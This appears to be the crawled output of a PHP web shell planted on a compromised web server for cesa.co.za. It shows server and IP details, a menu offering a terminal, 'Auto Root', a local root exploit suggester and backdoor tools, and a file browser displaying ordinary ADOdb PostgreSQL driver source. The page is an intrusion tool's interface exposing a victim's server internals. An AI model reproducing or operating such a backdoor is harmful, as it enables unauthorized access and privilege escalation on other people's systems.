Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
Mailer /
adodb /
drivers /
Delete
Unzip
Name
Size
Permission
Date
Action
.Index.txt
2.77
KB
-rw-r--r--
2008-01-09 06:26
adodb-access.inc.php
2.1
KB
-rw-r--r--
2008-01-09 06:26
adodb-ado.inc.php
15.13
KB
-rw-r--r--
2008-01-09 06:26
adodb-ado5.inc.php
15.27
KB
-rw-r--r--
2008-01-09 06:26
adodb-ado_access.inc.php
1.39
KB
-rw-r--r--
2008-01-09 06:26
adodb-ado_mssql.inc.php
2.66
KB
-rw-r--r--
2008-01-09 06:26
adodb-borland_ibase.inc.php
2.19
KB
-rw-r--r--
2008-01-09 06:26
adodb-csv.inc.php
4.75
KB
-rw-r--r--
2008-01-09 06:26
adodb-db2.inc.php
17.07
KB
-rw-r--r--
2008-01-09 06:26
adodb-fbsql.inc.php
6.36
KB
-rw-r--r--
2008-01-09 06:26
adodb-firebird.inc.php
1.87
KB
-rw-r--r--
2008-01-09 06:26
adodb-ibase.inc.php
23.98
KB
-rw-r--r--
2008-01-09 06:26
adodb-informix.inc.php
877
B
-rw-r--r--
2008-01-09 06:26
adodb-informix72.inc.php
13.19
KB
-rw-r--r--
2008-01-09 06:26
adodb-ldap.inc.php
11.7
KB
-rw-r--r--
2008-01-09 06:26
adodb-mssql.inc.php
29.38
KB
-rw-r--r--
2008-01-09 06:26
adodb-mssqlpo.inc.php
1.49
KB
-rw-r--r--
2008-01-09 06:26
adodb-mysql.inc.php
20
KB
-rw-r--r--
2008-01-09 06:26
adodb-mysqli.inc.php
32.81
KB
-rw-r--r--
2023-01-09 12:51
adodb-mysqlt.inc.php
3.14
KB
-rw-r--r--
2008-01-09 06:26
adodb-netezza.inc.php
5.04
KB
-rw-r--r--
2008-01-09 06:26
adodb-oci8.inc.php
41.5
KB
-rw-r--r--
2008-01-09 06:26
adodb-oci805.inc.php
1.54
KB
-rw-r--r--
2008-01-09 06:26
adodb-oci8po.inc.php
5.37
KB
-rw-r--r--
2008-01-09 06:26
adodb-odbc.inc.php
19.05
KB
-rw-r--r--
2008-01-09 06:26
adodb-odbc_db2.inc.php
8.82
KB
-rw-r--r--
2008-01-09 06:26
adodb-odbc_mssql.inc.php
7.3
KB
-rw-r--r--
2008-01-09 06:26
adodb-odbc_oracle.inc.php
3.11
KB
-rw-r--r--
2008-01-09 06:26
adodb-odbtp.inc.php
20.19
KB
-rw-r--r--
2008-01-09 06:26
adodb-odbtp_unicode.inc.php
1.11
KB
-rw-r--r--
2008-01-09 06:26
adodb-oracle.inc.php
8.77
KB
-rw-r--r--
2008-01-09 06:26
adodb-pdo.inc.php
12.97
KB
-rw-r--r--
2008-01-09 06:26
adodb-pdo_mssql.inc.php
1005
B
-rw-r--r--
2008-01-09 06:26
adodb-pdo_mysql.inc.php
3.99
KB
-rw-r--r--
2008-01-09 06:26
adodb-pdo_oci.inc.php
2.56
KB
-rw-r--r--
2008-01-09 06:26
adodb-pdo_pgsql.inc.php
8.24
KB
-rw-r--r--
2008-01-09 06:26
adodb-postgres.inc.php
518
B
-rw-r--r--
2008-01-09 06:26
adodb-postgres64.inc.php
30.48
KB
-rw-r--r--
2008-01-09 06:26
adodb-postgres7.inc.php
6.77
KB
-rw-r--r--
2008-01-09 06:26
adodb-postgres8.inc.php
351
B
-rw-r--r--
2008-01-09 06:26
adodb-proxy.inc.php
808
B
-rw-r--r--
2008-01-09 06:26
adodb-sapdb.inc.php
4.97
KB
-rw-r--r--
2008-01-09 06:26
adodb-sqlanywhere.inc.php
4.13
KB
-rw-r--r--
2008-01-09 06:26
adodb-sqlite.inc.php
10.19
KB
-rw-r--r--
2008-01-09 06:26
adodb-sqlitepo.inc.php
1.82
KB
-rw-r--r--
2008-01-09 06:26
adodb-sybase.inc.php
12.23
KB
-rw-r--r--
2008-01-09 06:26
adodb-sybase_ase.inc.php
3.13
KB
-rw-r--r--
2008-01-09 06:26
adodb-vfp.inc.php
2.42
KB
-rw-r--r--
2008-01-09 06:26
Save
Rename
<?php /* V4.80 8 Mar 2006 (c) 2000-2006 John Lim (jlim#natsoft.com.my). All rights reserved. Released under both BSD license and Lesser GPL library license. Whenever there is any discrepancy between the two licenses, the BSD license will take precedence. Set tabs to 4. Postgres7 support. 28 Feb 2001: Currently indicate that we support LIMIT 01 Dec 2001: dannym added support for default values */ // security - hide paths if (!defined('ADODB_DIR')) die(); include_once(ADODB_DIR."/drivers/adodb-postgres64.inc.php"); class ADODB_postgres7 extends ADODB_postgres64 { var $databaseType = 'postgres7'; var $hasLimit = true; // set to true for pgsql 6.5+ only. support pgsql/mysql SELECT * FROM TABLE LIMIT 10 var $ansiOuter = true; var $charSet = true; //set to true for Postgres 7 and above - PG client supports encodings function ADODB_postgres7() { $this->ADODB_postgres64(); if (ADODB_ASSOC_CASE !== 2) { $this->rsPrefix .= 'assoc_'; } $this->_bindInputArray = PHP_VERSION >= 5.1; } // the following should be compat with postgresql 7.2, // which makes obsolete the LIMIT limit,offset syntax function &SelectLimit($sql,$nrows=-1,$offset=-1,$inputarr=false,$secs2cache=0) { $offsetStr = ($offset >= 0) ? " OFFSET ".((integer)$offset) : ''; $limitStr = ($nrows >= 0) ? " LIMIT ".((integer)$nrows) : ''; if ($secs2cache) $rs =& $this->CacheExecute($secs2cache,$sql."$limitStr$offsetStr",$inputarr); else $rs =& $this->Execute($sql."$limitStr$offsetStr",$inputarr); return $rs; } /* function Prepare($sql) { $info = $this->ServerInfo(); if ($info['version']>=7.3) { return array($sql,false); } return $sql; } */ // from Edward Jaramilla, improved version - works on pg 7.4 function MetaForeignKeys($table, $owner=false, $upper=false) { $sql = 'SELECT t.tgargs as args FROM pg_trigger t,pg_class c,pg_proc p WHERE t.tgenabled AND t.tgrelid = c.oid AND t.tgfoid = p.oid AND p.proname = \'RI_FKey_check_ins\' AND c.relname = \''.strtolower($table).'\' ORDER BY t.tgrelid'; $rs =& $this->Execute($sql); if ($rs && !$rs->EOF) { $arr =& $rs->GetArray(); $a = array(); foreach($arr as $v) { $data = explode(chr(0), $v['args']); if ($upper) { $a[strtoupper($data[2])][] = strtoupper($data[4].'='.$data[5]); } else { $a[$data[2]][] = $data[4].'='.$data[5]; } } return $a; } return false; } function _query($sql,$inputarr) { if (! $this->_bindInputArray) { // We don't have native support for parameterized queries, so let's emulate it at the parent return ADODB_postgres64::_query($sql, $inputarr); } // -- added Cristiano da Cunha Duarte if ($inputarr) { $sqlarr = explode('?',trim($sql)); $sql = ''; $i = 1; $last = sizeof($sqlarr)-1; foreach($sqlarr as $v) { if ($last < $i) $sql .= $v; else $sql .= $v.' $'.$i; $i++; } $rez = pg_query_params($this->_connectionID,$sql, $inputarr); } else { $rez = pg_query($this->_connectionID,$sql); } // check if no data returned, then no need to create real recordset if ($rez && pg_numfields($rez) <= 0) { if (is_resource($this->_resultid) && get_resource_type($this->_resultid) === 'pgsql result') { pg_freeresult($this->_resultid); } $this->_resultid = $rez; return true; } return $rez; } // this is a set of functions for managing client encoding - very important if the encodings // of your database and your output target (i.e. HTML) don't match //for instance, you may have UNICODE database and server it on-site as WIN1251 etc. // GetCharSet - get the name of the character set the client is using now // the functions should work with Postgres 7.0 and above, the set of charsets supported // depends on compile flags of postgres distribution - if no charsets were compiled into the server // it will return 'SQL_ANSI' always function GetCharSet() { //we will use ADO's builtin property charSet $this->charSet = @pg_client_encoding($this->_connectionID); if (!$this->charSet) { return false; } else { return $this->charSet; } } // SetCharSet - switch the client encoding function SetCharSet($charset_name) { $this->GetCharSet(); if ($this->charSet !== $charset_name) { $if = pg_set_client_encoding($this->_connectionID, $charset_name); if ($if == "0" & $this->GetCharSet() == $charset_name) { return true; } else return false; } else return true; } } /*-------------------------------------------------------------------------------------- Class Name: Recordset --------------------------------------------------------------------------------------*/ class ADORecordSet_postgres7 extends ADORecordSet_postgres64{ var $databaseType = "postgres7"; function ADORecordSet_postgres7($queryID,$mode=false) { $this->ADORecordSet_postgres64($queryID,$mode); } // 10% speedup to move MoveNext to child class function MoveNext() { if (!$this->EOF) { $this->_currentRow++; if ($this->_numOfRows < 0 || $this->_numOfRows > $this->_currentRow) { $this->fields = @pg_fetch_array($this->_queryID,$this->_currentRow,$this->fetchMode); if (is_array($this->fields)) { if ($this->fields && isset($this->_blobArr)) $this->_fixblobs(); return true; } } $this->fields = false; $this->EOF = true; } return false; } } class ADORecordSet_assoc_postgres7 extends ADORecordSet_postgres64{ var $databaseType = "postgres7"; function ADORecordSet_assoc_postgres7($queryID,$mode=false) { $this->ADORecordSet_postgres64($queryID,$mode); } function _fetch() { if ($this->_currentRow >= $this->_numOfRows && $this->_numOfRows >= 0) return false; $this->fields = @pg_fetch_array($this->_queryID,$this->_currentRow,$this->fetchMode); if ($this->fields) { if (isset($this->_blobArr)) $this->_fixblobs(); $this->_updatefields(); } return (is_array($this->fields)); } // Create associative array function _updatefields() { if (ADODB_ASSOC_CASE == 2) return; // native $arr = array(); $lowercase = (ADODB_ASSOC_CASE == 0); foreach($this->fields as $k => $v) { if (is_integer($k)) $arr[$k] = $v; else { if ($lowercase) $arr[strtolower($k)] = $v; else $arr[strtoupper($k)] = $v; } } $this->fields = $arr; } function MoveNext() { if (!$this->EOF) { $this->_currentRow++; if ($this->_numOfRows < 0 || $this->_numOfRows > $this->_currentRow) { $this->fields = @pg_fetch_array($this->_queryID,$this->_currentRow,$this->fetchMode); if (is_array($this->fields)) { if ($this->fields) { if (isset($this->_blobArr)) $this->_fixblobs(); $this->_updatefields(); } return true; } } $this->fields = false; $this->EOF = true; } return false; } } ?>